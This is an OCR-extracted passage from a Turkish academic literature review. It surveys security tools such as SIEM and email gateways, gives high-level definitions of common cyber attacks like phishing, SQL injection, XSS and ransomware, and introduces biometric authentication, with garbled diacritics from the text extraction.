Sayisal imza, bir belgeyi dijital olarak imzalayan kisinin kimligini kanitlar ve belgenin
orijinal oldugunu garanti eder. Sayisal imza; elektronik ticaret, elektronik belge yonetimi
ve diger ¢evrimici iglemlerde biiyiik bir 6neme sahiptir. Ayrica sayisal imza, belgelerin
veya verilerin gizliligini ve biitliinliigiinli korumak i¢in kullanilir. Verilerin
degistirilmedigini ve yetkisiz erisimlere kars1 korundugunu dogrular. Sayisal imza, siber
giivenlik ve elektronik gilivenligin temel taslarindan biridir ve c¢evrimigi iletigimlerin

giivenligini saglama konusunda kritik bir rol oynar.

2.1.14. E-posta giivenlik ag gecidi

E-Posta Glivenlik Ag Gegitleri (Mail Security Gateways), giiniimiizde kurumlar ve bireyler
icin 6nemli bir e-posta glivenligi unsuru olarak kabul edilir (Symantec, 2021; Whitman &
Mattord, 2004). Bu teknoloji, gelen ve giden e-postalar: tarar, filtreler ve zararl igeriklerin
tespit edilmesini saglar. E-Posta giivenlik ag gegitleri, istenmeyen e-postalari1 engeller,
oltalama girisimlerini tanimlar ve zararli eklerin yayilmasini onler. Ayrica, bu ag gegcitleri,
e-posta icerigini sifreler ve gizliligi korur. Kurumsal diizeyde, e-posta giivenlik ag
gegitleri, hassas verilerin giivenligini ve kurumsal aglarin biitiinliigiinii korur. Bu teknoloji,
veri sizintilarina ve siber saldirilara karsi etkili bir savunma saglar. E-Posta giivenlik ag
gecitleri, giivenli e-posta iletisimini tesvik eder ve bilgisayar giivenliginin 6nemli bir

bileseni olarak kabul edilir.
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2.1.15. Giivenlik bilgi ve olay yonetimi

Giivenlik Bilgi ve Olay Yonetimi (Security Information and Event Management-SIEM),
organizasyonlarin siber giivenlik operasyonlarini koordine etmek ve siber tehditlere karsi
etkili bir sekilde yanit vermek icin kullanilan 6énemli bir aragtir (Cisco, 2021). SIEM
cozlimleri, aglardaki olaylar1 izler, analiz eder ve raporlar. SIEM, organizasyonlarin
giivenlik olaylarin1 ve ag aktivitelerini merkezi bir noktada toplar ve bunlart gergek
zamanli olarak izler. Bu sayede, anormal aktiviteleri tespit etme ve yanit verme yetenekleri
artar. Siber saldirilarin tespit edilmesi, izlenmesi ve engellenmesi i¢in kritik bir aragtir
(Cinque vd, 2018). Organizasyonlar, SIEM ¢oziimlerini kullanarak giivenlik olaylarini
daha iyi anlayabilir ve saldirilarin hizli bir sekilde tespit edilmesini saglar. Ayrica,
uyumluluk gereksinimlerini karsilamak i¢in log verilerini saklama ve raporlama
yetenekleri sunar. SIEM, siber giivenlik alaninda kritik bir rol oynar ve kurumlarin
giivenlik politikalarin1 uygulama ve tehditlere karsi savunma gelistirme konusundaki

cabalarin1 destekler.

2.1.16. S1izma testleri ve gitvenlik a¢1g1 taramasi

Sizma testi, bilgisayar giivenligi alaninda onemli bir rol oynayan bir test tiiriidiir
(Engebretson, 2018; Kim ve Solomon, 2019). Bu test, bir organizasyonun bilgisayar
sistemlerini ve aglarini, saldirganlarin bakis agisindan degerlendirmek ve gilivenlik
aciklarim tespit etmek icin kullanilir. Sizma testleri, organizasyonlarin giivenlik zayif
noktalarin1 tanimlamalarina yardimci olur ve bu zayif noktalarin nasil diizeltilebilecegi
konusunda rehberlik saglar. Ayrica, organizasyonlarin siber saldirilara ve veri sizintilarina
kars1 ne kadar savunmasiz oldugunu belirlemelerine yardimci olur. Sizma testleri, etik
kurallar ve yasal diizenlemelere uygun olarak yapilmalidir ve organizasyonlarin bilgisayar

giivenligini artirmak i¢in degerli bir arag olarak kabul edilir.

2.1.17. Bilgi giivenligi unsurlari

Bilgi gilivenligi, organizasyonlarin dijital varliklarim1 koruma ve siber tehditlere karsi
savunma stratejilerini gelistirme acisindan kritik bir konudur. Bu kavram, bilginin
gizliligini, bitiinligiinii ve erisilebilirligini saglama amacim tagir (Whitman ve Mattord,

2004; Pfleeger & Pfleeger, 2012). Bilgi giivenligi unsurlari, organizasyonlarin bilgi
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varliklarim1 koruma g¢abalarin1 yonlendiren temel bilesenlerdir. Bunlar, fiziksel giivenlik
onlemleri, veri sifreleme teknikleri, erisim kontroli mekanizmalari, giicli parola
politikalar1 ve siber tehditlerle miicadele stratejileri gibi ¢esitli unsurlar1 igerir.
Organizasyonlar, bu unsurlar1 entegre ederek, hassas bilgilerini koruma, veri sizintilarindan
kaginma ve siber saldirilara karsi daha direngli hale gelme yeteneklerini artirabilirler. Bilgi
giivenligi unsurlari, organizasyonlar icin rekabet avantaji saglayabilir ve miisteri giivenini
artirabilir. Ayrica, veri ihlallerinin finansal ve itibari kayiplarini minimize etmeye yardimci

olur.

2.2. Siber Saldirilar

Glinlimiizde teknolojinin  hizla gelismesi, dijitallesme ve internet kullaniminin
yayginlagmasi, bir yandan hayatimizi kolaylastirirken diger yandan yeni tehlikeleri
beraberinde getirmistir. Bu tehlikelerden biri de dijjital diinyanin goriinmez tehdidi siber
saldirilardir. Dijital diinyanin goriinmez, ancak etkili tehlikeleridir. Siber saldirilar,
bilgisayar sistemlerine yonelik kotii niyetli girisimlerdir ve bireyleri, kurumlari, hatta

devletleri ciddi sekilde etkileyebilir.

Siber saldirilarin c¢esitleri oldukca genistir. Viriisler, solucanlar, truva atlari, fidye
yazilimlari, oltalama saldirilari, DDoS saldirilar1 gibi bir¢ok farkli yontem kullanilarak
gerceklestirilen saldirilardir. Saldirilarin sonuglar1 bilgi hirsizligindan finansal zararlara
kadar genis bir yelpazede sonuglar dogurabilir. Siber saldirilar, sadece bireylerin degil
sirketlerin ve devletlerin giivenligini de tehdit eder. Siber saldirilarin ne oldugunu anlamak,
cesitlerini bilmek ve bu saldirilardan korunmak i¢in gereklidir. Siber saldirilarin evrimi,
yaygin kullanilan saldir1 yontemleri, bu saldirilara karsi alinabilecek 6nlemler ve giivenlik
bilincini artirma stratejileri gibi konular1 ele alarak, dijital diinyada giivenli bir varolusun
onemini vurgulamak istemistir. Her gecen giin daha karmasik hale gelen siber saldirilar,
siber giivenlik bilincini artirmak ve toplumun dijital varliklarin1 korumak adina stirekli bir

o0grenme ve gelisme siirecini beraberinde getirmektedir.
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2.2.1. Oltalama saldirilar1

Oltalama (Phishing) veya kimlik avi; saldirganin ¢evrimigi bir kullaniciyr aldatarak kisisel
bilgilerini ele ge¢irmesi i¢in mevcut bir web sayfasinin sahtesini olusturdugu ag tiirii bir
saldindir (Gupta, Singhal ve Kapoor, 2016). internet kullaniminda artis olmas1 sebebi ile
insanlar birgok verisini daha fazla paylasir hale geldiler. Sonug¢ olarak bu veriler siber
suglulara karsi savunmasiz hale gelmektedir. Oltalama saldirilari, siber ortamda suglularin,
kullanicilarin paylastigi verilerini ¢almaya yarayan etkili yontemlerden birisidir. 1990
yilinda yasanan ilk oltalama saldirisindan bugiine daha da karmasik hale gelmistir.
Glinlimiizde oltalama saldirilar1 siber ortamda goriilen en sik Ornek olarak kabul
edilmektedir. Oltalama saldirilar1 kisilerin hassas bilgileri, kimligi, biyometrik verileri,
finansal bilgileri, sirket ve devlet sirlar1 dahil olmak iizere kurbanlarin ciddi kayiplar
yasamasma sebep olmaktadir. (Alkhalil, Hewage, Nawaf ve Khan, 2021). Internet
kullanicilarinin giindemde olan konular ile dikkatlerini ¢ekmek suretiyle olusturulan ve
giivenilir kaynaktan gonderilmis inanci verilen elektronik posta, kisa mesaj servisi (Short
Message Service-SMS), linkler, web sayfalar1 gibi aldatict araglar kullanilarak
gergeklestirilen oltalama saldirilar ile kisisel, finansal gibi bilgilerin ele gegirilmesini
hedefler. Ornegin kullanicinin galismakta oldugu bankasindan kendisine geldigi hissi

verilen sahte bir mail ile kullanici kredi kart1 bilgilerini rahatlikla paylagabilmektedir.
2.2.2. Kotii amach yazilimlar

Son yillarda toplumun hemen hemen her iiyesi giinliik yasam i¢in interneti kullanmaktadir.
Bunun nedeni, neredeyse internet olmadan higbir sey yapmak imkansiz olmustur. Sosyal
etkilesimler, ¢evrimigi bankacilik, saglik islemleri ve pazarlama gibi bir¢ok alanda internet
hiikkiim siirmektedir. Internet hizla biiyiidiigii icin, suglular da internet {izerinden sug
islemeye baslamiglardir. Gergek diinyada oldugundan daha fazla su¢ bu dijital ortamda
olmaya baglamistir. Suglular kot niyetli kurban makinelere, siber saldirilar yaptirmak igin
kot amagli yazilimlardir. Viriis, solucan, truva ati, rootkit ve fidye yazilimi bunlardan
bazilaridir. Her k6tli amacl yazilim tiirti kurban makineyi farkli sekillerde etkilemek i¢in

tasarlanmistir. Amaglari ise hedeflenen sisteme zarar vermek ve igerige erigsmektir.
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2.2.3. DoS ve DDoS saldirilar:

Hizmet engelleme saldiris1 olarak adlandirilir. Resmi olarak kullanima sunulan bir
hizmetin kullanimin1 engellemeye yonelik yapilan saldir tiiriidiir. Saldirinin maksadi bilgi
calmak, sifreyi ele gecirmek degildir. Sistemi hizmet veremeyecek seviyede mesgul
etmektir. Bu saldir1 hizmeti iki yolla calisamaz hale getirmektedir. Bunlardan birincisi
islemci, bellek veya bant genisligi gibi kaynaklar1 kapasitesinin iistiinde kullanmasina
sebep olarak sistemin kullanilmasini engellemektir. Ikincisi protokol veya hizmetlerde

bulunan bir zafiyetten faydalanarak sistemi engellemektir (Gezgin ve Bulus, 2013).

2.2.4. Ortadaki adam saldirisi

Ortadaki adam veya Man in The Middle (MiTM) saldirisinda, saldirgan sunucu ve
kullanici arasia konumlanir. Saldirgan iki yonden gelen verilerin olmasi gereken giivenli
ag tuzerinden degil saldirganin belirledigi ag tlizerinden gitmesini saglar. Bu sayede
saldirgan belirledigi ag tizerinde iletisimi kolaylikla dinleyebilir. Giivenli olarak belirlenen
ag lzerinde iletisim internet sifreleme protokolii (Secure Sockets Layer-SSL) ile
sifrelenmis olmast durumunda saldirganin bu sifreyi ¢ézmesi pek miimkiin degildir.
Saldirgan zararli yazilim kullanarak sifreleme anahtarini ele gecirebilir veya degistirebilir.
Sonug olarak ortadaki adam saldirisi, kullanicinin normalde yaptig islemleri saldir altinda

iken de yapabildigi igin, kullanic1 tarafindan fark edilmesi zor bir saldiridir (Unlii, 2018).

2.2.5. Yapilandirilms sorgu dili ile saldir:

Yapilandirilmis sorgu dili (Structured Query Language-SQL) veri odakli web uygulamalari
araciliftyla web saldirganlar tarafindan benimsenen en yaygin ve en kolay giivenlik agig1
teknigi tiirtidiir. SQL enjeksiyon saldirist veri tabanmi katmaninda olusan bir giivenlik
acigidir. Kotii niyetli saldirganlar, Se¢, Nereye, Ekle, Sil ve Giincelle gibi basit SQL
komutlarin1 kullanarak ger¢gek SQL kodunu (ifadelerini) verimli bir sekilde yeniden
yapilandirir ve giivenlik acig1r bulunan kodu web uygulamalarinda yiiriitiir. Kotli niyetli
saldirgan amacina ulastiginda hassas bilgilere kolayca erigebilir, giivenli verileri
degistirebilir, verileri ele gegirebilir ve hatta tiim uygulamay1 ¢okertebilirler. (Natarajana

ve Subramani, 2012).
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2.2.6. Siteler aras1 komut dosyasi olusturma

Siteler Arasi Komut Dosyasi (Cross Site Scripting-XSS) olusturma, bir saldirganin
cerezler, sifre, kredi karti numaralar1 vb. gibi hassas kaynaklarina erisim saglamak igin
kurbanin web tarayicisina enjekte edilen ve JavaScript'i ¢alistirmasina izin veren bir Java
Komut Dosyasi kod enjeksiyon saldirisidir. XSS, istemci tarafi web tarayicisina yonelik bir
saldinidir, ancak yetenekleri web sunucusu tarafinda istismar edilmektedir. Web
uygulamalarindaki XSS giivenlik agiklarindan yararlanmak icin, saldirgan web
uygulamasina kotli amagli bir JavaScript verisi hazirlayip enjekte eder. Bu komut dosyast,
web sitesinin zararsiz bir bileseni gibi goriinecek sekilde enjekte edilir ve son olarak bu

komut dosyasi, web sitesinin giiven alan1 dahilinde yiirttiiliir (Gupta ve Gupta, 2015).

2.2.7. Sosyal miihendislik saldirisi

Sosyal miihendislik, siber giivenlik tehditlerinin en karmagsik ve insan odakli bicimlerinden
birini temsil eder (Anderson, 2001). Bu saldir1 tiirii, teknik giivenlik 6nlemlerinin Gtesine
gecerek insanlarin davraniglarini ve giiven duygularini hedef alir. Saldirganlar, hedeflerini
maniplile ederek gilivenlerini kazanir ve bu giiveni bilgiye erisim elde etmek i¢in istismar
ederler. Sosyal miihendislik, teknik giivenlik Onlemleri ve sifreleme protokollerinin
yetersiz kaldigi bir alandir (Mitnick ve Simon, 2003). Ciinkii bu tiir saldirilar, insan
dogasina dayali olarak davranarak istismar eder. Bu, teknolojik ¢dziimlerin yan1 sira insan
faktoriiniin de siber gilivenlik denkleminde g6z 6nilinde bulundurulmasi gerektigini gosterir.
Sosyal miihendislik saldirilari, kuruluslar i¢in ciddi sonuglar dogurabilir. Veri kaybinin
Otesinde, itibar kaybina, hukuki sorunlara ve finansal kayiplara yol agabilirler (Hadnagy,
2011). Bu nedenle, siber giivenlik stratejileri, teknik gilivenlik 6nlemlerini tamamlayacak

sekilde insan faktoriinii ele almalidir.

2.2.8. 11k giin saldirist

Ik giin saldiris1 (Zero-day exploit), siber giivenlik alaninda ciddi bir tehlike olarak kabul
edilmektedir (Zetter, 2014). Ilk giin saldirisi, bir yazilim, isletim sistemi veya uygulama
icinde kesfedilen ve iireticinin heniiz yama veya diizeltme saglamadig bir giivenlik agigina
dayanir. Saldirganlar, bu tiir agiklar1 hizla kesfedip istismar ederek, savunmasiz sistemlere

erisebilir ve kontrolii ele gegirebilirler. Ilk giin saldirilari, siber saldirganlar i¢in son derece
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degerli bir silah haline gelmistir (Northcutt ve Novak,2002). Ciinkii bu tiir saldirilar,
savunma mekanizmalarinin heniiz zamaninda tepki veremedigi ve savunma 6nlemlerinin
yetersiz kaldigi durumlar1 hedef alir. Bu nedenle, zero-day exploitlerin kesfedilmesi ve
kara listeye alinmasi, siber giivenlik toplulugunun oncelikli endiselerinden biri haline
gelmistir. Tk giin saldirilari, hem siber casusluk hem de siber suclar i¢in kullamilabilir
(Perlroth, 2019). Devlet destekli aktorler, bu tiir saldirilar1 ulusal giivenlik amagclar
dogrultusunda kullanabilirken, siber suglular finansal kazang elde etmek icin Ilk giin
saldirilar1 kullanabilirler. Bu nedenle, siber giivenlik uzmanlar1 ve yazilim gelistiricileri,
Ilk giin saldirilarma karsi savunma stratejileri olusturmak ve giivenlik aciklarini hizla

kapatmak i¢in siirekli bir ¢aba i¢indedirler.

2.2.9. Gelismis siirekli tehditler

Gelismis siirekli tehditler (Advanced Persistent Threat-APT), siber giivenlikte karsilasilan
en karmagik ve tehlikeli tehditlerden birini ifade eder (Rid ve Buchanan, 2015). Bu terim,
siber saldirganlarin belirli bir hedefi uzun siire boyunca hedef alarak, kurbanin aglarina ve
sistemlerine sizmay1 ve bu erisimi uzun siire boyunca silirdliirmeyi amaclayan karmasik
saldir1 kampanyalarin1 tanimlar. APT saldirilari, genellikle gelismis teknik bilgiye sahip ve
uzun vadeli planlar yapabilen saldirganlar tarafindan gergeklestirilir (Rogers, 2013). Bu tiir
saldirganlar, genellikle devlet destekli veya biiylik siber sug¢ Orgiitleri tarafindan
desteklenir. APT saldirilar, gizli bilgilere, fikri miilkiyete, askeri verilere veya stratejik
bilgilere erisimi amaglar. APT saldirilari, tipik olarak asamali bir yaklagimla
gerceklestirilir. Bu agamali yaklagim, hedef sistemi kesfetme, sizma, hakimiyet saglama ve
uzun siireli erigimi siirdiirme asamalarint icerir (Mandiant, 2013). Bu nedenle, APT
saldirilari, hedeflenen kuruluslar i¢in ciddi bir tehdit olusturur ve siber giivenlik ekiplerini

stirekli olarak uyanik olmaya ve savunma stratejilerini giiclendirmeye zorlar.

2.2.10. iceriden saldir

Iceriden saldir1 (Insider Attack), siber giivenlik alaninda giderek artan bir endise kaynag
olarak kabul edilmektedir (Bishop, 2018). Bu terim, bir organizasyonun igerisindeki
calisanlar, is ortaklar1 veya diger yetkilendirilmis kullanicilar tarafindan bilingli veya
bilingsiz olarak gerceklestirilen siber giivenlik tehditlerini ifade eder. Iceriden saldiri,

organizasyonlara zarar verme veya hassas bilgilere erisim saglama amaci tagiyan bireyler
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veya gruplar tarafindan gerceklestirilebilir (Verizon, 2019). I¢eriden saldir1, organizasyon
icindeki gilivendiginiz kisilerin bile potansiyel olarak tehlike olusturabilecegi gergegini
yansitir. Iceriden saldiri, genellikle iki kategori altinda incelenir. Kasith i¢ tehditler ve
kazara i¢ tehditler (CERT Insider Threat Center, 2018). Kasith i¢ tehditler, kotii amacglh
eylemleri planlayan veya bilerek giivenlik politikalarini ihlal eden kullanicilart igerirken,
kazara i¢ tehditler, kullanicilarin dikkatsizlik veya bilgisizlik nedeniyle giivenlik ag¢iklarin
aciga c¢ikardigi durumlari ifade eder. I¢ tehditler, organizasyonlar igin ciddi bir risk
olusturabilir ve siber giivenlik stratejileri i¢inde 6zel bir dikkat gerektirir (Finkle ve Kilger,
2012). Bu nedenle, organizasyonlar i¢ tehditleri tanimlama, izleme ve énleme konularinda

onlem almak i¢in ¢esitli giivenlik politikalar1 ve teknolojileri benimsemek zorundadir.

2.2.11. Kripto varhklarina saldirilar

Kripto varliklarina saldirilar (Cryptojacking), siber giivenlikteki yeni bir tehdit tiirii olarak
dikkat ¢ekmektedir (Casey, 2018). Bu terim, kotii niyetli aktorlerin, kullanicilarin veya
organizasyonlarin bilgisayarlarin1 ve diger cihazlarini, habersizce kripto para madenciligi
icin kullanmalarin1 amaglayan bir siber saldir1 yontemini ifade eder. Bu saldirilar,
genellikle web tarayicilar1 {izerinden gerceklestirilir ve kullanicilarin  habersizce
madencilik islemlerine kaynak sagladigi bir tiir "gizli madencilik" olarak kabul edilir
(Kharraz, Robertson, Balzarotti ve Kirda,2019). Bu saldir1 tiirii, kotii niyetli aktorlerin
kripto para kazanmak i¢in kullanicilarin islemci giliciinii izinsiz olarak kullanmalarina
olanak tanir. Kullanicilarin bilgisayarlarinin performansini diistirebilir ve enerji tiikketimini
artirabilir (Oberoi, Srinivas ve Raman, 2018). Ayrica, organizasyonlarmn sunucular
iizerinde ciddi etkilere yol acabilir ve bu, kurumsal aglar i¢in de 6nemli bir tehdit olusturur.
Kripto varliklarina saldirilar, siber glivenlik uzmanlar1 i¢in yeni bir meydan okumayi
temsil eder ve bu tiir saldirilara kars1 onlem almak icin cesitli giivenlik ¢oziimleri ve

tarayici eklentileri gelistirilmektedir (Ferreira, Ferreira ve Magalhaes, 2018).

2.2.12. Kablosuz ag dinleme saldirilar:

Kablosuz ag dinleme saldirilari (Wi-Fi eavesdropping), kablosuz aglarda onemli bir
giivenlik riski olarak kabul edilmektedir (Smith, 2017). Bu terim, kd&tii niyetli kisilerin
veya organizasyonlarin kablosuz ag trafigini izlemesi ve gizlice kullanici verilerini ele

gecirmesi amaciyla gerceklestirdigi bir siber saldir1 yontemini ifade eder. Kablosuz ag
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dinleme saldirilari, siber suglularin veya casuslarin, giivensiz veya sifrelenmemis kablosuz
aglara veya acik erisim noktalarina baglanarak ag trafigini izlemesini igerir (Sharma vd.,
2019). Bu saldin tiirii, kullanicilarin kisisel bilgilerini, sifrelerini ve diger hassas verilerini
tehlikeye atabilir. Kablosuz ag dinleme saldirilar1, ayn1 zamanda kamu Wi-Fi noktalar1 ve
igyeri aglar1 gibi daha biiylik aglarda da gerceklestirilebilir. Bu, kotii niyetli kisilerin ¢ok
sayida kullaniciyr hedef alabilecegi ve biiyiik miktarda veri galabilecegi anlamina gelir. Bu
tiir saldirilara karst korunmak ig¢in, giivenlik bilincinin artirilmas1 ve sifreleme
protokollerinin kullanilmas1 énemlidir (Al-Fugaha vd., 2015). Ayrica, giivenilir ve giincel
giivenlik yazilimlarinin kullanilmasi da kablosuz ag dinleme saldirist tehlikesine karsi

savunma stratejilerinin bir pargasidir.

2.2.13. Fidye yazilim saldirilar:

Fidye yazilim saldiris1 (Ransomware), siber giivenlikte ciddi bir tehdit olarak karsimiza
¢ikan ve kullanicilarin dosyalarini sifreleyerek erisimi engelleyen bir saldirt tiiriinii ifade
eder (Gupta ve Kaur, 2016). Bu terim, kotii niyetli kisilerin veya gruplarin bilgisayar
sistemlerine sizarak dosyalar: kilitlemeleri ve ardindan kurbanlardan fidye talep etmeleri
amaciyla gerceklestirilen bir saldirt bigimini tanimlar. Fidye yazilim saldirilari, genellikle
e-posta ekleri, zararli baglantilar veya sahte yazilim giincellemeleri gibi kandirici
yontemlerle kullanicilara bulastirilir (Ferreira, Santos, Baggili ve Kechadi, 2019).
Saldirganlar daha sonra dosyalar sifreler ve kullanicilarin verilerine erisimlerini engeller.
Ardindan, kurbanlardan g¢ogunlukla kripto para birimleriyle ddeme yapmalarini talep
ederler. Fidye yazilim saldirilari, bireylerin yani sira isletmeler ve hiikiimet kurumlari dahil
olmak tizere birgok organizasyon igin ciddi sonuglar dogurabilir (Choo, Liu ve Liu, 2017).
Bu tiir saldirilar, veri kaybi, finansal kayiplar ve itibar kaybi1 gibi sonucglara yol agabilir.
Fidye yazilim saldirilarina karsit korunmak i¢in giincel giivenlik yazilimlar1 kullanmak,
yedeklemeleri diizenli olarak olusturmak ve e-posta eklerine dikkat etmek gibi dnlemler

almak 6nemlidir (Bajpai ve Srivastava, 2016).

2.2.14. Sifre saldirilar

Sifre saldirilar1 (Password attacks), siber giivenlikte O6nemli bir tehdit olarak kabul
edilmektedir (Hong ve Chen, 2017). Bu terim, kotii niyetli aktorlerin veya programlarin,

kullanici hesaplarinin parolalarin1 tahmin etmeye ve kirmaya calistigi bir siber saldiri
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tirtinii ifade eder. Parola saldirilari, genellikle kullanici adi ve parola kombinasyonlarini
deneyerek gerceklestirilir (Rahman vd., 2018). Bu tiir saldirilar, giiclii olmayan veya
tahmin edilebilir parolalar1 hedef alir ve kullanicilarin hesaplarinin ele gegirilmesine neden
olabilir. Parola saldirilar1, ¢evrimigi hesaplara veya sirket aglara erisim saglama amaci
tagtyan kotl niyetli kisiler tarafindan gergeklestirilebilir (Gupta ve Agrawal, 2016). Bu tiir
saldirilar, veri sizintilarma, kimlik hirsizhigmma ve diger siber giivenlik ihlallerine yol
acabilir. Parola saldirilarina kars1 korunmak i¢in giiclii ve karmasik parolalar kullanmak,
iki faktorlii kimlik dogrulama (2FA) gibi ek giivenlik 6nlemleri benimsemek ve diizenli

olarak parolalar1 giincellemek dnemlidir (Hussain, Hussain ve Arshad, 2017).

2.2.15. Hedef odakh oltalama saldirilari

Hedef odakli oltalama saldiris1 (Spear phishing), siber giivenlikteki biiyiik bir tehdidi ifade
eder ve organizasyonlar i¢in ciddi bir risk olusturur (Huang, Chiang ve Chou, 2018). Bu
terim, siber saldirganlarin, hedef organizasyonun calisanlarina veya bireysel kullanicilara
yonelik 6zel olarak uyarlanmig sahte e-postalar veya iletiler gondererek kisisel bilgileri ele
gecirmeye calistigl bir siber saldir1 bi¢cimini tanimlar. Hedef odakli oltalama saldirilari,
siber suclularin kurbanlarini yaniltmak ve giivendikleri bir kaynak gibi goriinmek amaciyla
sosyal miihendislik tekniklerini kullanmalarini igerebilir (Basharat, Hanif, Basharat ve
Farooq, 2017). Saldirganlar, hedef organizasyonun i¢ bilgilerini veya hassas verilerini ele
gecirmek i¢in kurbanlarin glivenini kazanmaya calisir. Hedef odakli oltalama saldirisi, is
diinyasinda ve hiikiimet kurumlarinda kullanilan 6nemli bir siber casusluk ve veri sizintisi
yontemi haline gelmistir (Blyth ve Kovacich, 2015). Bu tiir saldirilar, kullanicilarin kisisel
bilgilerini ifsa etmelerine veya kotii amagli yazilim indirmelerine neden olarak ciddi
sonuglara yol acabilir. Hedef odakli oltalama saldirilarina karst korunmak igin,
kullanicilarin dikkatli bir sekilde e-postalar1 kontrol etmeleri, bilinmeyen kaynaklardan
gelen e-postalara kargt siipheci olmalart ve giivenlik egitimi alarak bilinglenmeleri

onemlidir (Bonn, Stadelmann ve Wrycza, 2017).

2.3. Biyometrik Veri

Teknolojinin hizli ilerlemesiyle birlikte, geleneksel kimlik dogrulama yontemleri yetersiz
hale gelmis, giivenlik ihtiyaglari ise daha karmagik bir hal almistir. Bu noktada biyometrik

veriler, dijital ¢cagin kimlik dogrulama sistemlerinde 6énemli bir rol oynamaktadir. Parmak
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izi, yiiz tanima, retina tarama, ses analizi gibi biyometrik veriler, bireylerin kimligini
benzersiz bir sekilde dogrulamak i¢in kullanilan gilivenli ve etkili araglar olarak One

cikmaktadir.

Biyometrik veriler, her bireyin fiziksel veya davranigsal 6zelliklerini 6l¢en ve kaydeden
teknolojileri igerir. Bu veriler, geleneksel kimlik dogrulama yontemlerine gore daha giiclii
bir giivenlik saglamakla kalmaz, ayn1 zamanda kullanici deneyimini de artirir. Parola
unutma, kart kaybetme gibi sorunlar biyometrik dogrulama sistemleri tarafindan onlenir,

clinkti kisisel 6zellikler dogrudan bireyin kimligini tanimlar.

Biyometrik verilerin kullanimi, sadece giivenlik uygulamalarini degil, ayn1 zamanda
giinliik yasamimizi da etkilemektedir. Biyometrik verilerin, dijital ¢agdaki kimlik
dogrulamada rolii biiyiiktiir. Cep telefonlarindan banka islemlerine, havaalani
givenliginden ofis girislerine kadar bir¢ok alanda biyometrik veri kullanimi
yayginlagsmaktadir. Ancak, bu teknolojilerin kullanimi beraberinde bazi etik ve gizlilik
sorularim1 da getirir. Biyometrik verilerin dogru ve giivenilir bir sekilde korunmasi, bu

teknolojilerin giivenligi agisindan kritik bir konudur.

2.3.1. Biyometrik veri nedir?

Biyometrik veri, kisilerin davranigsal veya fiziksel 6zelliklerini 6l¢cen ve tanimlayan
benzersiz ozellikleri ifade eden verilerdir. Biyometrik veriler kisinin yapisi, anatomisi veya
davraniglart gibi dogal 06zelliklerini igerir. Biyometrik veriler, kisileri tanimlamak,
dogrulamak veya kimliklerini dogrulamak i¢in kullanilabilmektedir. Parmak izi, avug izi,
retina taramasi, yiiz tanima, ses tanima, el geometrisi gibi biyometrik 6zellikler, kisilerin
sahip oldugu benzersiz verilerdir. Biyometrik veriler benzemez, degistirilemez ve tasnif

edilebilir olmasi sebebi ile ¢ok dnemli verilerdir.

Teknolojinin ilerlemesiyle birlikte, bilgisayarlara erisim izni verilmesi, havalimanlarinda
kisisel bilgilerin saglanmasi, niikleer tesisler gibi yiliksek diizeyde korunan alanlarin
erisimine izin verilmesi vb. dahil olmak iizere bir¢ok ger¢ek diinya uygulamasinda
otomatik kimlik dogrulama uygulanmaktadir. Ayrica, Internet'in hizla biiyiimesi nedeniyle
kimlik dogrulama, c¢evrimici bankacilik ve ¢evrimigi aligveris gibi web tabanh

uygulamalarda Onemli bir parca haline gelmistir. Geleneksel olarak bireylerin
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dogrulanmasi i¢in sifreler ve kimlik kartlart kullanilmaktadir. Ancak bu geleneksel
yontemlerin cesitli dezavantajlari vardir. Ornegin sifre kisiler tarafindan paylasilabilir veya
ele gecirilebilir veya bir kimlik kart1 birileri tarafindan g¢alinabilir. Ayrica saldirganlar
sifreleri tahmin ederek sisteme erisebilir veya kasitli olarak defalarca yanlis bilgi vererek
sistemi devre dis1 birakabilirler. Biyometrik veriler, geleneksel kimlik dogrulama
yontemlerine gore daha giivenilir ve zor taklit edilebilir oldugu igin birgok alanda
kullanilabilmektedir. Ancak, biyometrik verilerin kullanimiyla ilgili ¢esitli etik ve gizlilik
endiseleri de bulunmaktadir. Bu verilerin giivenligi ve korunmasi, kisisel mahremiyetin

stirdiiriilmesi agisindan biiyiik nem tasir (Natgunanathan vd,2016).

Biyometrik verilerin toplanmas: ve kullanilmasi, bir dizi yasal diizenleme ve standart
tarafindan denetlenir. Bu diizenlemeler, bireylerin gizlilik haklarin1 korumayi, verilerin
giivenligini saglamayi ve kdtiiye kullanimi 6nlemeyi amaclar. Ancak, biyometrik verilerin
kullanimiyla ilgili etik ve hukuki konular siirekli olarak gelismekte ve bu alandaki

diizenlemeler glincellenmektedir.

2.3.2. Biyometrik verilerin avantajlari ve dezavantajlari

Biyometrik veriler, kimlik dogrulama ve giivenlik alaninda 6nemli avantajlar sunan, ancak
ayn1 zamanda cesitli etik ve gizlilik sorunlarini beraberinde getiren kritik bir teknolojidir.

Asagidir biyometrik verilerin avantajlar1 ve dezavantajlar1 verilmistir.

2.3.2.1. Biyometrik verilerin avantajlar:

Kisileri benzersiz kilan biyometrik ozelliklerin kullanilarak yiiksek gilivenlik seviyeleri
saglanabilir. Cok faktorlii kimlik dogrulama sistemlerinde faktorlerden birisi biyometrik
veri oldugu durumda bu giivenlik seviyesi saglanabilir. Sonug¢ olarak biyometrik veriler
kisiye ait olup unutulabilecek, kotii niyetli kisiler tarafindan ele gegirilemeyecektir. Ayrica
biyometrik veri matematiksel olarak ele gegirilebilse bile canlilik control (liveness kontrol)

ile tedbir alinabilmektedir (Oz forensics, 2023).

Biyometrik dogrulama, parola veya kart kullanimina gére daha hizli ve kullanici dostu bir
yontemdir. Ozellikle biyometrik verilerin tasnif edilebilmesi ve gelismis veritabanlar:

sayesinde ¢ok kisa siirede yiiksek dogruluk ile kimlik dogrulama yapilabilmektedir.
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Ormegin parmak izi sistemleri yiizde 100’e ¢ok yakin dogruluk ile 1-2 saniye igerisinde
kimlik dogrulama yapabilmektedir (Neurotechnology, 2023). Parolalarin unutulmast,
kartlarin kaybolmasi, sifrenin unutulmasi gibi sorunlar biyometrik verilerde ortaya ¢ikmaz.
Boylece kullanicilara kimliklerini dogrulayabilmesi i¢in her zaman biyometrik 6zelliklerini
kullanabilmelerini saglar. Biyometrik veriler, bireyleri dogrudan tanima yetenegi saglar, bu
da otomatik iglemleri hizlandirabilir ve giinliik yasamdaki birgok siireci kolaylastirabilir.
Yiiksek Giivenlik Seviyeleri: Biyometrik veriler, bireylerin fiziksel veya davranigsal
ozelliklerini kullanarak kimlik dogrulama saglar. Bu, diger geleneksel yontemlere gore
daha giivenli bir dogrulama siireci sunar (Jain, Ross ve Prabhakar,2004). Kullanict Dostu
Deneyim: Biyometrik dogrulama, parola veya kart gibi geleneksel yontemlere kiyasla
